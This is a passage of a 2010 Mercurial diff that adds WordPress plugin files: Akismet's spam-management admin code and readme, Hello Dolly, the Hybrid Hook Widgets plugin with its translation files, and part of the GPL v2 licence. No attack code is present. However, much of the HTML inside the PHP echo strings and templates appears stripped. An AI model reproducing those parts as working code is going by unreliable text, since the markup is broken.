$type = false, $page = 1, $per_page = 50 ) { + global $wpdb; + + $page = (int) $page; + if ( $page < 2 ) + $page = 1; + + $per_page = (int) $per_page; + if ( $per_page < 1 ) + $per_page = 50; + + $start = ( $page - 1 ) * $per_page; + $end = $start + $per_page; + + if ( $type ) { + if ( 'comments' == $type || 'comment' == $type ) + $type = ''; + else + $type = $wpdb->escape( $type ); + return $wpdb->get_results( "SELECT * FROM $wpdb->comments WHERE comment_approved = 'spam' AND comment_type='$type' ORDER BY comment_date DESC LIMIT $start, $end"); + } + + // All + return $wpdb->get_results( "SELECT * FROM $wpdb->comments WHERE comment_approved = 'spam' ORDER BY comment_date DESC LIMIT $start, $end"); +} + +// Totals for each comment type +// returns array( type => count, ... ) +function akismet_spam_totals() { + global $wpdb; + $totals = $wpdb->get_results( "SELECT comment_type, COUNT(*) AS cc FROM $wpdb->comments WHERE comment_approved = 'spam' GROUP BY comment_type" ); + $return = array(); + foreach ( $totals as $total ) + $return[$total->comment_type ? $total->comment_type : 'comment'] = $total->cc; + return $return; +} + +function akismet_manage_page() { + global $wpdb, $submenu, $wp_db_version; + + // WP 2.7 has its own spam management page + if ( 8645 <= $wp_db_version ) + return; + + $count = sprintf(__('Akismet Spam (%s)'), akismet_spam_count()); + if ( isset( $submenu['edit-comments.php'] ) ) + add_submenu_page('edit-comments.php', __('Akismet Spam'), $count, 'moderate_comments', 'akismet-admin', 'akismet_caught' ); + elseif ( function_exists('add_management_page') ) + add_management_page(__('Akismet Spam'), $count, 'moderate_comments', 'akismet-admin', 'akismet_caught'); +} + +function akismet_caught() { + global $wpdb, $comment, $akismet_caught, $akismet_nonce; + + akismet_recheck_queue(); + if (isset($_POST['submit']) && 'recover' == $_POST['action'] && ! empty($_POST['not_spam'])) { + check_admin_referer( $akismet_nonce ); + if ( function_exists('current_user_can') && !current_user_can('moderate_comments') ) + die(__('You do not have sufficient permission to moderate comments.')); + + $i = 0; + foreach ($_POST['not_spam'] as $comment): + $comment = (int) $comment; + if ( function_exists('wp_set_comment_status') ) + wp_set_comment_status($comment, 'approve'); + else + $wpdb->query("UPDATE $wpdb->comments SET comment_approved = '1' WHERE comment_ID = '$comment'"); + akismet_submit_nonspam_comment($comment); + ++$i; + endforeach; + $to = add_query_arg( 'recovered', $i, $_SERVER['HTTP_REFERER'] ); + wp_redirect( $to ); + exit; + } + if ('delete' == $_POST['action']) { + check_admin_referer( $akismet_nonce ); + if ( function_exists('current_user_can') && !current_user_can('moderate_comments') ) + die(__('You do not have sufficient permission to moderate comments.')); + + $delete_time = $wpdb->escape( $_POST['display_time'] ); + $nuked = $wpdb->query( "DELETE FROM $wpdb->comments WHERE comment_approved = 'spam' AND '$delete_time' > comment_date_gmt" ); + wp_cache_delete( 'akismet_spam_count', 'widget' ); + $to = add_query_arg( 'deleted', 'all', $_SERVER['HTTP_REFERER'] ); + wp_redirect( $to ); + exit; + } + +if ( isset( $_GET['recovered'] ) ) { + $i = (int) $_GET['recovered']; + echo '

    ' . sprintf(__('%1$s comments recovered.'), $i) . "

    "; +} + +if (isset( $_GET['deleted'] ) ) + echo '

    ' . __('All spam deleted.') . '

    '; + +if ( isset( $GLOBALS['submenu']['edit-comments.php'] ) ) + $link = 'edit-comments.php'; +else + $link = 'edit.php'; +?> + +
    +

    + +

    %1$s spam for you since you first installed it.'), number_format_i18n($count) ); ?>

    +'.__('You have no spam currently in the queue. Must be your lucky day. :)').'

    '; + echo '
    '; +} else { + echo '

    '.__('You can delete all of the spam from your database with a single click. This operation cannot be undone, so you may wish to check to ensure that no legitimate comments got through first. Spam is automatically deleted after 15 days, so don’t sweat it.').'

    '; +?> + +
    + + +    + +
    + + +
    + +

    + +'.__('These are the latest comments identified as spam by Akismet. If you see any mistakes, simply mark the comment as "not spam" and Akismet will learn from the submission. If you wish to recover a comment from spam, simply select the comment, and click Not Spam. After 15 days we clean out the junk for you.').'

    '; ?> + +escape($_POST['s']); + $comments = $wpdb->get_results("SELECT * FROM $wpdb->comments WHERE + (comment_author LIKE '%$s%' OR + comment_author_email LIKE '%$s%' OR + comment_author_url LIKE ('%$s%') OR + comment_author_IP LIKE ('%$s%') OR + comment_content LIKE ('%$s%') ) AND + comment_approved = 'spam' + ORDER BY comment_date DESC"); +} else { + if ( isset( $_GET['apage'] ) ) + $page = (int) $_GET['apage']; + else + $page = 1; + + if ( $page < 2 ) + $page = 1; + + $current_type = false; + if ( isset( $_GET['ctype'] ) ) + $current_type = preg_replace( '|[^a-z]|', '', $_GET['ctype'] ); + + $comments = akismet_spam_comments( $current_type, $page ); + $total = akismet_spam_count( $current_type ); + $totals = akismet_spam_totals(); +?> +
      +
    • >
    • + $type_count ) { + if ( 'comment' == $type ) { + $type = 'comments'; + $show = __('Comments'); + } else { + $show = ucwords( $type ); + } + $type_count = number_format_i18n( $type_count ); + $extra = $current_type === $type ? ' class="active"' : ''; + echo "
    • $show ($type_count)
    • "; +} +do_action( 'akismet_tabs' ); // so plugins can add more tabs easily +?> +
    + +
    " id="akismetsearch"> +

    +

    +
    + 50 ) { +$total_pages = ceil( $total / 50 ); +$r = ''; +if ( 1 < $page ) { + $args['apage'] = ( 1 == $page - 1 ) ? '' : $page - 1; + $r .= '' . "\n"; +} +if ( ( $total_pages = ceil( $total / 50 ) ) > 1 ) { + for ( $page_num = 1; $page_num <= $total_pages; $page_num++ ) : + if ( $page == $page_num ) : + $r .= "$page_num\n"; + else : + $p = false; + if ( $page_num < 3 || ( $page_num >= $page - 3 && $page_num <= $page + 3 ) || $page_num > $total_pages - 3 ) : + $args['apage'] = ( 1 == $page_num ) ? '' : $page_num; + $r .= '' . ( $page_num ) . "\n"; + $in = true; + elseif ( $in == true ) : + $r .= "...\n"; + $in = false; + endif; + endif; + endfor; +} +if ( ( $page ) * 50 < $total || -1 == $total ) { + $args['apage'] = $page + 1; + $r .= '' . "\n"; +} +echo "

    $r

    "; +?> + + +
    + + +
      +comment_date); + $post = get_post($comment->comment_post_ID); + $post_title = $post->post_title; + if ($i % 2) $class = 'class="alternate"'; + else $class = ''; + echo "\n\t
    • "; + ?> + +

      comment_author_email) { ?>| comment_author_url && 'http://' != $comment->comment_author_url) { ?> | |

      + + + +

      — [ +comment_post_ID); +$post_title = wp_specialchars( $post->post_title, 'double' ); +$post_title = ('' == $post_title) ? "# $comment->comment_post_ID" : $post_title; +?> + ]

      + + + +
    + 50 ) { +$total_pages = ceil( $total / 50 ); +$r = ''; +if ( 1 < $page ) { + $args['apage'] = ( 1 == $page - 1 ) ? '' : $page - 1; + $r .= '' . "\n"; +} +if ( ( $total_pages = ceil( $total / 50 ) ) > 1 ) { + for ( $page_num = 1; $page_num <= $total_pages; $page_num++ ) : + if ( $page == $page_num ) : + $r .= "$page_num\n"; + else : + $p = false; + if ( $page_num < 3 || ( $page_num >= $page - 3 && $page_num <= $page + 3 ) || $page_num > $total_pages - 3 ) : + $args['apage'] = ( 1 == $page_num ) ? '' : $page_num; + $r .= '' . ( $page_num ) . "\n"; + $in = true; + elseif ( $in == true ) : + $r .= "...\n"; + $in = false; + endif; + endif; + endfor; +} +if ( ( $page ) * 50 < $total || -1 == $total ) { + $args['apage'] = $page + 1; + $r .= '' . "\n"; +} +echo "

    $r

    "; +} +?> +

    + +

    +

    +
    + +

    + + + +
    + +

    +    +

    +
    + +
    +'.__('Spam').''; + global $submenu; + if ( isset( $submenu['edit-comments.php'] ) ) + $link = 'edit-comments.php'; + else + $link = 'edit.php'; + echo '

    '.sprintf(__('Akismet has protected your site from %3$s spam comments.'), 'http://akismet.com/', clean_url("$link?page=akismet-admin"), number_format_i18n($count) ).'

    '; +} + +add_action('activity_box_end', 'akismet_stats'); + +// WP 2.5+ +function akismet_rightnow() { + global $submenu, $wp_db_version; + + if ( 8645 < $wp_db_version ) // 2.7 + $link = 'edit-comments.php?comment_status=spam'; + elseif ( isset( $submenu['edit-comments.php'] ) ) + $link = 'edit-comments.php?page=akismet-admin'; + else + $link = 'edit.php?page=akismet-admin'; + + if ( $count = get_option('akismet_spam_count') ) { + $intro = sprintf( __ngettext( + 'Akismet has protected your site from %2$s spam comment already,', + 'Akismet has protected your site from %2$s spam comments already,', + $count + ), 'http://akismet.com/', number_format_i18n( $count ) ); + } else { + $intro = sprintf( __('Akismet blocks spam from getting to your blog,'), 'http://akismet.com/' ); + } + + if ( $queue_count = akismet_spam_count() ) { + $queue_text = sprintf( __ngettext( + 'and there\'s %1$s comment in your spam queue right now.', + 'and there are %1$s comments in your spam queue right now.', + $queue_count + ), number_format_i18n( $queue_count ), clean_url($link) ); + } else { + $queue_text = sprintf( __( "but there's nothing in your spam queue at the moment." ), clean_url($link) ); + } + + $text = sprintf( _c( '%1$s %2$s|akismet_rightnow' ), $intro, $queue_text ); + + echo "

    $text

    \n"; +} + +add_action('rightnow_end', 'akismet_rightnow'); + +// For WP <= 2.3.x +if ( 'moderation.php' == $pagenow ) { + function akismet_recheck_button( $page ) { + global $submenu; + if ( isset( $submenu['edit-comments.php'] ) ) + $link = 'edit-comments.php'; + else + $link = 'edit.php'; + $button = "" . __('Recheck Queue for Spam') . ""; + $page = str_replace( '
    ', '
    ' . $button, $page ); + return $page; + } + + if ( $wpdb->get_var( "SELECT COUNT(*) FROM $wpdb->comments WHERE comment_approved = '0'" ) ) + ob_start( 'akismet_recheck_button' ); +} + +// For WP >= 2.5 +function akismet_check_for_spam_button($comment_status) { + if ( 'approved' == $comment_status ) + return; + if ( function_exists('plugins_url') ) + $link = 'admin.php?action=akismet_recheck_queue'; + else + $link = 'edit-comments.php?page=akismet-admin&recheckqueue=true&noheader=true'; + echo "
    " . __('Check for Spam') . ""; +} +add_action('manage_comments_nav', 'akismet_check_for_spam_button'); + +function akismet_recheck_queue() { + global $wpdb, $akismet_api_host, $akismet_api_port; + + if ( ! ( isset( $_GET['recheckqueue'] ) || ( isset( $_REQUEST['action'] ) && 'akismet_recheck_queue' == $_REQUEST['action'] ) ) ) + return; + + $moderation = $wpdb->get_results( "SELECT * FROM $wpdb->comments WHERE comment_approved = '0'", ARRAY_A ); + foreach ( (array) $moderation as $c ) { + $c['user_ip'] = $c['comment_author_IP']; + $c['user_agent'] = $c['comment_agent']; + $c['referrer'] = ''; + $c['blog'] = get_option('home'); + $c['blog_lang'] = get_locale(); + $c['blog_charset'] = get_option('blog_charset'); + $c['permalink'] = get_permalink($c['comment_post_ID']); + $id = (int) $c['comment_ID']; + + $query_string = ''; + foreach ( $c as $key => $data ) + $query_string .= $key . '=' . urlencode( stripslashes($data) ) . '&'; + + $response = akismet_http_post($query_string, $akismet_api_host, '/1.1/comment-check', $akismet_api_port); + if ( 'true' == $response[1] ) { + $wpdb->query( "UPDATE $wpdb->comments SET comment_approved = 'spam' WHERE comment_ID = $id" ); + } + } + wp_redirect( $_SERVER['HTTP_REFERER'] ); + exit; +} + +add_action('admin_action_akismet_recheck_queue', 'akismet_recheck_queue'); + +function akismet_check_db_comment( $id ) { + global $wpdb, $akismet_api_host, $akismet_api_port; + + $id = (int) $id; + $c = $wpdb->get_row( "SELECT * FROM $wpdb->comments WHERE comment_ID = '$id'", ARRAY_A ); + if ( !$c ) + return; + + $c['user_ip'] = $c['comment_author_IP']; + $c['user_agent'] = $c['comment_agent']; + $c['referrer'] = ''; + $c['blog'] = get_option('home'); + $c['blog_lang'] = get_locale(); + $c['blog_charset'] = get_option('blog_charset'); + $c['permalink'] = get_permalink($c['comment_post_ID']); + $id = $c['comment_ID']; + + $query_string = ''; + foreach ( $c as $key => $data ) + $query_string .= $key . '=' . urlencode( stripslashes($data) ) . '&'; + + $response = akismet_http_post($query_string, $akismet_api_host, '/1.1/comment-check', $akismet_api_port); + return $response[1]; +} + +// This option causes tons of FPs, was removed in 2.1 +function akismet_kill_proxy_check( $option ) { return 0; } +add_filter('option_open_proxy_check', 'akismet_kill_proxy_check'); + +// Widget stuff +function widget_akismet_register() { + if ( function_exists('register_sidebar_widget') ) : + function widget_akismet($args) { + extract($args); + $options = get_option('widget_akismet'); + $count = number_format_i18n(get_option('akismet_spam_count')); + ?> + + + + + + + +

    + + + + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/plugins/akismet/readme.txt --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/plugins/akismet/readme.txt Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,48 @@ +=== Akismet === +Contributors: matt, ryan, andy, mdawaffe, tellyworth, automattic +Tags: akismet, comments, spam +Requires at least: 2.0 +Tested up to: 2.9 + +Akismet checks your comments against the Akismet web service to see if they look like spam or not. + +== Description == + +Akismet checks your comments against the Akismet web service to see if they look like spam or not and lets you +review the spam it catches under your blog's "Comments" admin screen. + +Want to show off how much spam Akismet has caught for you? Just put `` in your template. + +See also: [WP Stats plugin](http://wordpress.org/extend/plugins/stats/). + +PS: You'll need a [WordPress.com API key](http://wordpress.com/api-keys/) to use it. + +== Installation == + +Upload the Akismet plugin to your blog, Activate it, then enter your [WordPress.com API key](http://wordpress.com/api-keys/). + +1, 2, 3: You're done! + +== Changelog == + += 2.2.7 = + +* Add a new AKISMET_VERSION constant +* Reduce the possibility of over-counting spam when another spam filter plugin is in use +* Disable the connectivity check when the API key is hard-coded for WPMU + += 2.2.6 = + +* Fix a global warning introduced in 2.2.5 +* Add changelog and additional readme.txt tags +* Fix an array conversion warning in some versions of PHP +* Support a new WPCOM_API_KEY constant for easier use with WordPress MU + += 2.2.5 = + +* Include a new Server Connectivity diagnostic check, to detect problems caused by firewalls + += 2.2.4 = + +* Fixed a key problem affecting the stats feature in WordPress MU +* Provide additional blog information in Akismet API calls diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/plugins/hello.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/plugins/hello.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,84 @@ +Hello, Dolly in the upper right of your admin screen on every page. +Author: Matt Mullenweg +Version: 1.5.1 +Author URI: http://ma.tt/ +*/ + +function hello_dolly_get_lyric() { + /** These are the lyrics to Hello Dolly */ + $lyrics = "Hello, Dolly +Well, hello, Dolly +It's so nice to have you back where you belong +You're lookin' swell, Dolly +I can tell, Dolly +You're still glowin', you're still crowin' +You're still goin' strong +We feel the room swayin' +While the band's playin' +One of your old favourite songs from way back when +So, take her wrap, fellas +Find her an empty lap, fellas +Dolly'll never go away again +Hello, Dolly +Well, hello, Dolly +It's so nice to have you back where you belong +You're lookin' swell, Dolly +I can tell, Dolly +You're still glowin', you're still crowin' +You're still goin' strong +We feel the room swayin' +While the band's playin' +One of your old favourite songs from way back when +Golly, gee, fellas +Find her a vacant knee, fellas +Dolly'll never go away +Dolly'll never go away +Dolly'll never go away again"; + + // Here we split it into lines + $lyrics = explode("\n", $lyrics); + + // And then randomly choose a line + return wptexturize( $lyrics[ mt_rand(0, count($lyrics) - 1) ] ); +} + +// This just echoes the chosen line, we'll position it later +function hello_dolly() { + $chosen = hello_dolly_get_lyric(); + echo "

    $chosen

    "; +} + +// Now we set that function up to execute when the admin_footer action is called +add_action('admin_footer', 'hello_dolly'); + +// We need some CSS to position the paragraph +function dolly_css() { + // This makes sure that the posinioning is also good for right-to-left languages + $x = ( 'rtl' == get_bloginfo( 'text_direction' ) ) ? 'left' : 'right'; + + echo " + + "; +} + +add_action('admin_head', 'dolly_css'); + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/plugins/hybrid-hook-widgets/en_EN.mo Binary file web/wp-content/plugins/hybrid-hook-widgets/en_EN.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/plugins/hybrid-hook-widgets/en_EN.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/plugins/hybrid-hook-widgets/en_EN.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,61 @@ +msgid "" +msgstr "" +"Project-Id-Version: Hybrid Hook Widgets Plugin\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-06-10 13:44+0900\n" +"PO-Revision-Date: \n" +"Last-Translator: Justin Tadlock \n" +"Language-Team: \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: English\n" +"X-Poedit-Country: UNITED STATES\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: .\n" +"X-Poedit-SearchPath-0: .\n" + +#: hybrid-hook-widgets.php:62 +msgid "Hook: Before HTML " +msgstr "" + +#: hybrid-hook-widgets.php:63 +msgid "Hook: After HTML" +msgstr "" + +#: hybrid-hook-widgets.php:64 +msgid "Hook: Before Header" +msgstr "" + +#: hybrid-hook-widgets.php:65 +msgid "Hook: Header" +msgstr "" + +#: hybrid-hook-widgets.php:66 +msgid "Hook: After Header" +msgstr "" + +#: hybrid-hook-widgets.php:67 +msgid "Hook: Before Container" +msgstr "" + +#: hybrid-hook-widgets.php:68 +msgid "Hook: After Container" +msgstr "" + +#: hybrid-hook-widgets.php:69 +msgid "Hook: Before Footer" +msgstr "" + +#: hybrid-hook-widgets.php:70 +msgid "Hook: Footer" +msgstr "" + +#: hybrid-hook-widgets.php:71 +msgid "Hook: After Footer" +msgstr "" + +#: hybrid-hook-widgets.php:72 +msgid "Hook: Comment Form" +msgstr "" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/plugins/hybrid-hook-widgets/hybrid-hook-widgets.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/plugins/hybrid-hook-widgets/hybrid-hook-widgets.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,218 @@ + __('Hook: Before HTML ', 'hook_widgets'), 'id' => 'hook-before-html', 'before_widget' => '
    ', 'after_widget' => '
    ', 'before_title' => '

    ', 'after_title' => '

    ' ) ); + register_sidebar( array( 'name' => __('Hook: After HTML', 'hook_widgets'), 'id' => 'hook-after-html', 'before_widget' => '
    ', 'after_widget' => '
    ', 'before_title' => '

    ', 'after_title' => '

    ' ) ); + register_sidebar( array( 'name' => __('Hook: Before Header', 'hook_widgets'), 'id' => 'hook-before-header', 'before_widget' => '
    ', 'after_widget' => '
    ', 'before_title' => '

    ', 'after_title' => '

    ' ) ); + register_sidebar( array( 'name' => __('Hook: Header', 'hook_widgets'), 'id' => 'hook-header', 'before_widget' => '
    ', 'after_widget' => '
    ', 'before_title' => '

    ', 'after_title' => '

    ' ) ); + register_sidebar( array( 'name' => __('Hook: After Header', 'hook_widgets'), 'id' => 'hook-after-header', 'before_widget' => '
    ', 'after_widget' => '
    ', 'before_title' => '

    ', 'after_title' => '

    ' ) ); + register_sidebar( array( 'name' => __('Hook: Before Container', 'hook_widgets'), 'id' => 'hook-before-container', 'before_widget' => '
    ', 'after_widget' => '
    ', 'before_title' => '

    ', 'after_title' => '

    ' ) ); + register_sidebar( array( 'name' => __('Hook: After Container', 'hook_widgets'), 'id' => 'hook-after-container', 'before_widget' => '
    ', 'after_widget' => '
    ', 'before_title' => '

    ', 'after_title' => '

    ' ) ); + register_sidebar( array( 'name' => __('Hook: Before Footer', 'hook_widgets'), 'id' => 'hook-before-footer', 'before_widget' => '
    ', 'after_widget' => '
    ', 'before_title' => '

    ', 'after_title' => '

    ' ) ); + register_sidebar( array( 'name' => __('Hook: Footer', 'hook_widgets'), 'id' => 'hook-footer', 'before_widget' => '
    ', 'after_widget' => '
    ', 'before_title' => '

    ', 'after_title' => '

    ' ) ); + register_sidebar( array( 'name' => __('Hook: After Footer', 'hook_widgets'), 'id' => 'hook-after-footer', 'before_widget' => '
    ', 'after_widget' => '
    ', 'before_title' => '

    ', 'after_title' => '

    ' ) ); + register_sidebar( array( 'name' => __('Hook: Comment Form', 'hook_widgets'), 'id' => 'hook-comment-form', 'before_widget' => '
    ', 'after_widget' => '
    ', 'before_title' => '

    ', 'after_title' => '

    ' ) ); +} + +/** + * Output the Before HTML widget area. + * @since 0.1 + */ +function hook_widgets_before_html() { + if ( !is_active_sidebar( 'hook-before-html' ) ) + return; + + echo '
    '; + dynamic_sidebar( 'hook-before-html' ); + echo '
    '; +} + +/** + * Output the After HTML widget area. + * @since 0.1 + */ +function hook_widgets_after_html() { + if ( !is_active_sidebar( 'hook-after-html' ) ) + return; + + echo '
    '; + dynamic_sidebar( 'hook-after-html' ); + echo '
    '; +} + +/** + * Output the Before Header widget area. + * @since 0.1 + */ +function hook_widgets_before_header() { + if ( !is_active_sidebar( 'hook-before-header' ) ) + return; + + echo '
    '; + dynamic_sidebar( 'hook-before-header' ); + echo '
    '; +} + +/** + * Output the Header widget area. + * @since 0.1 + */ +function hook_widgets_header() { + if ( !is_active_sidebar( 'hook-header' ) ) + return; + + echo '
    '; + dynamic_sidebar( 'hook-header' ); + echo '
    '; +} + +/** + * Output the After Header widget area. + * @since 0.1 + */ +function hook_widgets_after_header() { + if ( !is_active_sidebar( 'hook-after-header' ) ) + return; + + echo '
    '; + dynamic_sidebar( 'hook-after-header' ); + echo '
    '; +} + +/** + * Output the Before Container widget area. + * @since 0.1 + */ +function hook_widgets_before_container() { + if ( !is_active_sidebar( 'hook-before-container' ) ) + return; + + echo '
    '; + dynamic_sidebar( 'hook-before-container' ); + echo '
    '; +} + +/** + * Output the After Container widget area. + * @since 0.1 + */ +function hook_widgets_after_container() { + if ( !is_active_sidebar( 'hook-after-container' ) ) + return; + + echo '
    '; + dynamic_sidebar( 'hook-after-container' ); + echo '
    '; +} + +/** + * Output the Before Footer widget area. + * @since 0.1 + */ +function hook_widgets_before_footer() { + if ( !is_active_sidebar( 'hook-before-footer' ) ) + return; + + echo ''; +} + +/** + * Output the Footer widget area. + * @since 0.1 + */ +function hook_widgets_footer() { + if ( !is_active_sidebar( 'hook-footer' ) ) + return; + + echo ''; +} + +/** + * Output the After Footer widget area. + * @since 0.1 + */ +function hook_widgets_after_footer() { + if ( !is_active_sidebar( 'hook-after-footer' ) ) + return; + + echo ''; +} + +/** + * Output the Comment Form widget area. + * @since 0.1 + */ +function hook_widgets_comment_form() { + if ( !is_active_sidebar( 'hook-comment-form' ) ) + return; + + echo '
    '; + dynamic_sidebar( 'hook-comment-form' ); + echo '
    '; +} + +?> \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/plugins/hybrid-hook-widgets/hybrid-hook-widgets.pot --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/plugins/hybrid-hook-widgets/hybrid-hook-widgets.pot Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,61 @@ +msgid "" +msgstr "" +"Project-Id-Version: Hybrid Hook Widgets Plugin\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-06-10 13:44+0900\n" +"PO-Revision-Date: \n" +"Last-Translator: Justin Tadlock \n" +"Language-Team: \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: English\n" +"X-Poedit-Country: UNITED STATES\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: .\n" +"X-Poedit-SearchPath-0: .\n" + +#: hybrid-hook-widgets.php:62 +msgid "Hook: Before HTML " +msgstr "" + +#: hybrid-hook-widgets.php:63 +msgid "Hook: After HTML" +msgstr "" + +#: hybrid-hook-widgets.php:64 +msgid "Hook: Before Header" +msgstr "" + +#: hybrid-hook-widgets.php:65 +msgid "Hook: Header" +msgstr "" + +#: hybrid-hook-widgets.php:66 +msgid "Hook: After Header" +msgstr "" + +#: hybrid-hook-widgets.php:67 +msgid "Hook: Before Container" +msgstr "" + +#: hybrid-hook-widgets.php:68 +msgid "Hook: After Container" +msgstr "" + +#: hybrid-hook-widgets.php:69 +msgid "Hook: Before Footer" +msgstr "" + +#: hybrid-hook-widgets.php:70 +msgid "Hook: Footer" +msgstr "" + +#: hybrid-hook-widgets.php:71 +msgid "Hook: After Footer" +msgstr "" + +#: hybrid-hook-widgets.php:72 +msgid "Hook: Comment Form" +msgstr "" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/plugins/hybrid-hook-widgets/license.txt --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/plugins/hybrid-hook-widgets/license.txt Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,339 @@ + GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Lesser General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, 